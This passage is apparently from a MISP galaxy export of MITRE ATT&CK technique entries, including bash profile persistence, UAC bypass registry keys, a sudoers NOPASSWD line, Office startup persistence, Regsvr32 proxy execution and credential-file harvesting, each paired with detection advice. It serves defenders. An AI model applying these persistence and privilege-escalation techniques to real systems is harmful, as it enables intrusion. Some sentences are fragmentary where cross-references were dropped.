<code>~/.bash_profile</code> and <code>~/.bashrc</code> are executed in a user’s context when a new shell opens or when a user logs in so that their environment is set correctly. <code>~/.bash_profile</code> is executed for login shells and <code>~/.bashrc</code> is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), <code>~/.bash_profile</code> is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, <code>~/.bashrc</code> is executed. This allows users more fine grained control over when they want certain commands executed.

Mac’s Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling <code>~/.bash_profile</code> each time instead of <code>~/.bashrc</code>.

These files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell.

Detection: While users may customize their <code>~/.bashrc</code> and <code>~/.bash_profile</code> files , there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.

Platforms: Linux, MacOS, OS X

Data Sources: File monitoring, Process Monitoring, Process command-line parameters, Process use of network

The tag is: *misp-galaxy:mitre-attack-pattern=".bash_profile and .bashrc"*

Table 1767. Table References

Links
https://attack.mitre.org/wiki/Technique/T1156

Bash History

Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user’s <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials.[[Citation: External to DA, the OS X Way]]

Detection: Monitoring when the user's <code>.bash_history</code> is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like "history" instead of commands like <code>cat ~/.bash_history</code>.

Platforms: Linux, MacOS, OS X

Data Sources: File monitoring, Process monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Bash History"*

Table 1768. Table References

Links
https://attack.mitre.org/wiki/Technique/T1139
http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way

Replication Through Removable Media

Adversaries may move to additional systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into another system and executes. This may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system.

Detection: Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for [[Command and Control]] and system and network information .

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: File monitoring, Data loss prevention

The tag is: *misp-galaxy:mitre-attack-pattern="Replication Through Removable Media"*

Table 1769. Table References

Links
https://attack.mitre.org/wiki/Technique/T1091

Remote Desktop Protocol

Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).Remote Services similar to RDS.

Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Accessibility Features technique for .[[Citation: Alperovitch Malware]]

Detection: Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Authentication logs, Netflow/Enclave netflow, Process monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol"*

Table 1770. Table References

Links
https://attack.mitre.org/wiki/Technique/T1076
https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx
http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/

Scheduled Transfer

Data exfiltration may be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.

When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.

Detection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X

Data Sources: Netflow/Enclave netflow, Process use of network, Process monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Scheduled Transfer"*

Table 1771. Table References

Links

https://attack.mitre.org/wiki/Technique/T1029

Bypass User Account Control

Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.DLL Injection and unusual loaded DLLs through DLL Search Order Hijacking, which indicate attempts to gain access to higher privileged processes.

Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:

- The <code>eventvwr.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\Software\Classes\mscfile\shell\open\command</code> Registry key.[[Citation: enigma0x3 Fileless UAC Bypass]]
- The <code>sdclt.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe</code> and <code>[HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand</code> Registry keys.[[Citation: enigma0x3 sdclt app paths]][[Citation: enigma0x3 sdclt bypass]]

Analysts should monitor these Registry settings for unauthorized changes.

Platforms: Windows Server 2012, Windows 7, Windows 8, Windows Server 2008 R2, Windows Server 2012 R2, Windows 8.1, Windows 10

Data Sources: System calls, Process monitoring, Authentication logs, Process command-line parameters

Effective Permissions: Administrator

Contributors: Stefan Kanthak, Casey Smith

The tag is: *misp-galaxy:mitre-attack-pattern="Bypass User Account Control"*

Table 1772. Table References

Links
https://attack.mitre.org/wiki/Technique/T1088
https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
https://github.com/hfiref0x/UACME
https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works
https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
https://msdn.microsoft.com/en-us/library/ms679687.aspx

https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/
https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx
http://www.pretentiousname.com/misc/win7%20uac%20whitelist2.html
http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass
https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware

Logon Scripts

===Windows===

Windows allows logon scripts to be run whenever a specific user or group of users log into a system.[[Citation: TechNet Logon Scripts]] The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.

If adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.

===Mac===

Mac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root[[Citation: creating login hook]]. There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.

Detection: Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X

Data Sources: File monitoring, Process monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Logon Scripts"*

Table 1773. Table References

Links
https://attack.mitre.org/wiki/Technique/T1037
https://support.apple.com/de-at/HT2420
https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx

Connection Proxy

A connection proxy is used to direct network traffic between systems or act as an intermediary for network communications. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap.[[Citation: Trend Micro APT Attack Tools]]

The definition of a proxy can also be expanded out to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other.

The network may be within a single organization or across organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.

Detection: Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious.

Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X

Data Sources: Process use of network, Process monitoring, Netflow/Enclave netflow, Packet capture

Contributors: Walker Johnson

The tag is: *misp-galaxy:mitre-attack-pattern="Connection Proxy"*

Table 1774. Table References

Links
https://attack.mitre.org/wiki/Technique/T1090
http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Sudo

The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups.

This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code>[[Citation: OSX.Dok Malware]].

Adversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.

Detection: On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).

Platforms: Linux, MacOS, OS X

Data Sources: File monitoring

Effective Permissions: root

The tag is: *misp-galaxy:mitre-attack-pattern="Sudo"*

Table 1775. Table References

Links
https://attack.mitre.org/wiki/Technique/T1169
https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/

Office Application Startup

Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started.

===Office Template Macros===

Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts.[[Citation: Microsoft Change Normal Template]]

Office Visual Basic for Applications (VBA) macros[[Citation: MSDN VBA in Office]] can inserted into the base templated and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.[[Citation: enigma0x3 normal.dotm]][[Citation: Hexacorn Office Template Macros]]

Word Normal.dotm location:<code>C:\Users\(username)\AppData\Roaming\Microsoft\Templates\Normal.dotm</code>

Excel Personal.xlsb location:<code>C:\Users\(username)\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB</code>

An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.

===Office Test===

A Registry location was found that when a DLL reference was placed within it the corresponding DLL pointed to by the binary path would be executed every time an Office application is started[[Citation: Hexacorn Office Test]]

<code>HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf</code>

===Add-ins===

Office add-ins can be used to add functionality to Office programs.[[Citation: Microsoft Office Add-ins]]

Add-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), and Visual Studio Tools for Office (VSTO) add-ins.[[Citation: MRWLabs Office Persistence Add-ins]]

Detection: Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Modification to base templated, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.

Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.[[Citation: MRWLabs Office Persistence Add-ins]]

Non-standard process execution trees may also indicate suspicious or malicious behavior. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.

Platforms: Windows 10, Windows Server 2012, Windows 7, Windows 8, Windows Server 2008 R2, Windows Server 2012 R2, Windows 8.1, Windows XP, Windows Vista

Data Sources: Process monitoring, Process command-line parameters, Windows Registry, File monitoring

Contributors: Loic Jaquemet, Ricardo Dias

The tag is: *misp-galaxy:mitre-attack-pattern="Office Application Startup"*

Table 1776. Table References

Links
https://attack.mitre.org/wiki/Technique/T1137
https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office
http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/
https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/
https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460
https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/
http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/
https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea

Regsvr32

Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries.[[Citation: Microsoft Regsvr32]]

Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.

Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed.[[Citation: SubTee Regsvr32 Whitelisting Bypass]] This variation of the technique has been used in campaigns targeting governments.[[Citation: FireEye Regsvr32 Targeting Mongolian Gov]]

Detection: Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Loaded DLLs, Process monitoring, Windows Registry, Process command-line parameters

Contributors: Casey Smith

The tag is: *misp-galaxy:mitre-attack-pattern="Regsvr32"*

Table 1777. Table References

Links
https://attack.mitre.org/wiki/Technique/T1117
https://support.microsoft.com/en-us/kb/249873
https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html
https://www.fireeye.com/blog/threat-research/2017/02/spear%20phishing%20techn.html

File and Directory Discovery

Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.

===Windows===

Example utilities used to obtain this information are <code>dir</code> and <code>tree</code>.Windows Management Instrumentation and PowerShell.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X

Data Sources: File monitoring, Process monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="File and Directory Discovery"*

Table 1778. Table References

Links
https://attack.mitre.org/wiki/Technique/T1083
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html

Commonly Used Port

Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as * TCP:80 (HTTP) * TCP:443 (HTTPS) * TCP:25 (SMTP) * TCP/UDP:53 (DNS)

They may use the protocol associated with the port or a completely different protocol.

For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are * TCP/UDP:135 (RPC) * TCP/UDP:22 (SSH) * TCP/UDP:3389 (RDP)

Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X

Data Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Commonly Used Port"*

Table 1779. Table References

Links
https://attack.mitre.org/wiki/Technique/T1043
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Data Encoding

Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, UTF-8, or other binary-to-text and character encoding systems.[[Citation: Wikipedia Binary-to-text Encoding]][[Citation: Wikipedia Character Encoding]] Some data encoding systems may also result in data compression, such as gzip.

Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X

Data Sources: Packet capture, Process use of network, Process Monitoring, Network protocol analysis

Contributors: Itzik Kotler, SafeBreach

The tag is: *misp-galaxy:mitre-attack-pattern="Data Encoding"*

Table 1780. Table References

Links
https://attack.mitre.org/wiki/Technique/T1132
https://en.wikipedia.org/wiki/Character%20encoding
https://en.wikipedia.org/wiki/Binary-to-text%20encoding

https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Credentials in Files

Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.

It is possible to extract passwords from backups or saved virtual machines through Credential Dumping.Valid Accounts for more information.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: File monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Credentials in Files"*

Table 1781. Table References

Links
https://attack.mitre.org/wiki/Technique/T1081
http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html
http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx

PowerShell

PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.[[Citation: TechNet PowerShell]] Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer.

PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.

Administrator permissions are required to use PowerShell to connect to remote systems.

A number of PowerShell-based offensive testing tools are available, including Empire,[[Citation: Github PowerShell Empire]] PowerSploit,[[Citation: Powersploit]] and PSAttack.[[Citation: Github PSAttack]]

Detection: If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.

It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution.[[Citation: Malware Archaeology PowerShell Cheat Sheet]] PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.[[Citation: FireEye PowerShell Logging 2016]] An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Windows Registry, File monitoring, Process monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="PowerShell"*

Table 1782. Table References

Links
https://attack.mitre.org/wiki/Technique/T1086
https://github.com/PowerShellEmpire/Empire
http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf
https://github.com/mattifestation/PowerSploit
https://github.com/jaredhaight/PSAttack
https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx
https://www.fireeye.com/blog/threat-research/2016/02/greater%20visibilityt.html

Security Software Discovery

Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules, anti-virus, and virtualization. These checks may be built into early-stage remote access tools.

===Windows===

Example commands that can be used to obtain security software information are netsh, <code>reg query</code> with Reg, <code>dir</code> with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.

===Mac===

It’s becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.

Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.

Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X

Data Sources: File monitoring, Process monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Security Software Discovery"*

Table 1783. Table References

Links
https://attack.mitre.org/wiki/Technique/T1063

Trap

The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where "command list" will be executed when "signals" are received.

Detection: Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.

Platforms: Linux, MacOS, OS X

Data Sources: File monitoring, Process Monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Trap"*

Table 1784. Table References

Links
https://attack.mitre.org/wiki/Technique/T1154

Modify Existing Service

Windows service configuration information, including the file path to the service's executable, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and Reg.

Adversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of Masquerading that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.

Detection: Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.cmd commands or scripts.

Look for abnormal process call trees from known services and for execution of other commands that could relate to Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Windows Registry, File monitoring, Process monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Modify Existing Service"*

Table 1785. Table References

Links
https://attack.mitre.org/wiki/Technique/T1031
https://technet.microsoft.com/en-us/sysinternals/bb963902

Standard Cryptographic Protocol

Adversaries use command and control over an encrypted channel using a known encryption protocol like HTTPS or SSL/TLS. The use of strong encryption makes it difficult for defenders to detect signatures within adversary command and control traffic.

Some adversaries may use other encryption protocols and algorithms with symmetric keys, such as RC4, that rely on encryption keys encoded into malware configuration files and not public key cryptography. Such keys may be obtained through malware reverse engineering.

Detection: SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.[[Citation: SANS Decrypting SSL]] SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.[[Citation: SEI SSL Inspection Risks]]

If malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures.[[Citation: Fidelis DarkComet]]

In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X

Data Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring, SSL/TLS inspection

The tag is: *misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol"*

Table 1786. Table References

Links
https://attack.mitre.org/wiki/Technique/T1032
https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf
http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html

Private Keys

Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.Remote Services like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on *nix-based systems or <code>C:\Users\(username)\.ssh\</code> on Windows.

Private keys should require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line.

Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates.[[Citation: Kaspersky Careto]][[Citation: Palo Alto Prince of Persia]]

Detection: Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity.

Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X

Data Sources: File monitoring

Contributors: Itzik Kotler, SafeBreach

The tag is: *misp-galaxy:mitre-attack-pattern="Private Keys"*

Table 1787. Table References

Links
https://attack.mitre.org/wiki/Technique/T1145
https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/
https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask%20v1.0.pdf
https://en.wikipedia.org/wiki/Public-key%20cryptography

Valid Accounts

Adversaries may steal the credentials of a specific user or service account using [[Credential Access]] techniques. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network and may even be used for persistent access to remote systems. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.

Adversaries may also create accounts, sometimes using pre-defined account names and passwords, as a means for persistence through backup access in case other means are unsuccessful.

The overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.[[Citation: TechNet Credential Theft]]

